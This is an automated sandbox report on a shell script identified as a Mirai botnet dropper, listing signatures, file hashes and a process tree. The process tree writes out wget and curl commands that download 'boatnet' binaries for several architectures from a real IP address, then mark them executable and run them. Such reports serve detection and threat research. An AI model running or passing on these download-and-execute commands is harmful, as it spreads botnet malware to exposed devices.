Analysis

  • max time kernel
    60s
  • max time network
    65s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    31-08-2024 21:05

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    fefdf2b7ece4d55bd47778b420f84011

  • SHA1

    2823096e0538910f9b57ff9bae007ec655520fc3

  • SHA256

    3611c98f0a496d5891dc7888ed43a5d9b5eae8b1b27186dbe8b9b83922ae66eb

  • SHA512

    b1e1c59a9802ea141e48f395d3f5268c351687e7ca8758feb9b6882d51f230be3c72f657219816c82fa61bd811ce37bfb392c0a26d10d5b53bb333e7af03cf21

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Executes dropped EXE 6 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:663
    • /usr/bin/wget
      wget http://94.156.71.225/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:666
    • /usr/bin/curl
      curl -O http://94.156.71.225/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:677
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:719
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-7Xnobv WTF
        2⤵
          PID:720
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:721
        • /usr/bin/wget
          wget http://94.156.71.225/hiddenbin/boatnet.mips
          2⤵
          • Writes file to tmp directory
          PID:724
        • /usr/bin/curl
          curl -O http://94.156.71.225/hiddenbin/boatnet.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:731
        • /bin/cat
          cat boatnet.mips
          2⤵
            PID:748
          • /bin/chmod
            chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-13ae23ec3982446b932844f4c7b6a787-systemd-timedated.service-7Xnobv WTF
            2⤵
              PID:749
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:750
            • /usr/bin/wget
              wget http://94.156.71.225/hiddenbin/boatnet.arc
              2⤵
              • Writes file to tmp directory
              PID:754
            • /usr/bin/curl
              curl -O http://94.156.71.225/hiddenbin/boatnet.arc
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:791
            • /bin/cat
              cat boatnet.arc
              2⤵
                PID:792
              • /bin/chmod
                chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
                2⤵
                  PID:793
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:794
                • /usr/bin/wget
                  wget http://94.156.71.225/hiddenbin/boatnet.i468
                  2⤵
                    PID:796
                  • /usr/bin/curl
                    curl -O http://94.156.71.225/hiddenbin/boatnet.i468
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:797
                  • /bin/cat
                    cat boatnet.i468
                    2⤵
                      PID:798
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF
                      2⤵
                        PID:799
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:800
                      • /usr/bin/wget
                        wget http://94.156.71.225/hiddenbin/boatnet.i686
                        2⤵
                          PID:801
                        • /usr/bin/curl
                          curl -O http://94.156.71.225/hiddenbin/boatnet.i686
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:802
                        • /bin/cat
                          cat boatnet.i686
                          2⤵
                            PID:803
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
                            2⤵
                              PID:804
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:805
                            • /usr/bin/wget
                              wget http://94.156.71.225/hiddenbin/boatnet.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:806
                            • /usr/bin/curl
                              curl -O http://94.156.71.225/hiddenbin/boatnet.x86_64
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:807
                            • /bin/cat
                              cat boatnet.x86_64
                              2⤵
                                PID:808
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                2⤵
                                  PID:809
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:810

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/WTF

                                Filesize

                                41KB

                                MD5

                                d209dadd662918c0360d992f693a4c88

                                SHA1

                                ff29a4cb9d0d2a4ad7e15f7523bdc5d5d681f990

                                SHA256

                                f461632cc61eaa9bcf7deb5dba0ca986c5ea65fb366fae6d329cee5458abd07d

                                SHA512

                                809bb6cea3b997755c9464d90f6b3e18b2a007c2b55dcb85ef475e72f632f6c0ea435c9fb7567741ff5233204e958d234ca7ec8e69bfdffff1a8c1dab7c55aba

                              • /tmp/WTF

                                Filesize

                                113KB

                                MD5

                                b07b623c82c30103949e473cb8f1dc5b

                                SHA1

                                605c491a89e2d0e15f1e856c4f64592d63f7343b

                                SHA256

                                dc6da971003c88fdafa96d46017b5c53bc87cb3f081e0be4d1342865c85bf898

                                SHA512

                                23cd691cfae363b1194586f46403d58e1ea609c4655fba1eb295f344bd41b94ebbe15291b229678dcd3b72a8d2bff2dabfa645eb7e7f4b1d828168ed769d17b4

                              • /tmp/WTF

                                Filesize

                                220B

                                MD5

                                f1c24d9fa40a047ae22d2d3ae7dfeac9

                                SHA1

                                750274b02d5f5b00026a4f55b020f4285c693533

                                SHA256

                                219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                SHA512

                                36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                              • /tmp/WTF

                                Filesize

                                220B

                                MD5

                                a8f502a6fb3b7b940e922c951d9e493a

                                SHA1

                                fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                SHA256

                                748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                SHA512

                                e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                              • /tmp/WTF

                                Filesize

                                35KB

                                MD5

                                4de74a22ebb3b2008d93fdf898611bdb

                                SHA1

                                eb8c46d817f3fca933e91e289897789122b73a54

                                SHA256

                                728c84285231652ea1b50ed634d83ef0c6e60a78db8ce93a8ae578e21f677f7e

                                SHA512

                                2bc0a4d9610ae4f15475a3eae1b85d812cb8c5229e53f09f2e47aaf26c6963eaffae5d57b27271f2bb35979ddf358e53adcebc1df503030e9854214af1a3c944

                              • /tmp/boatnet.x86

                                Filesize

                                36KB

                                MD5

                                ba2cb5b8715ba94c39e24e75a34d0ea0

                                SHA1

                                7182bf3b0e14e5224e741c15174c6e93f00df444

                                SHA256

                                01fad47db364d66c0a9ed9c6c5c558c5a95eb0d015bec4be5f1109d14e15ec33

                                SHA512

                                0c26a32066b88dc22aada2ca606639e6717b84501402eac80107f7130fca6c43f6cd40e11e88ae1deda45320a6c726af04bf946818ef3099d84f31e523f9b33d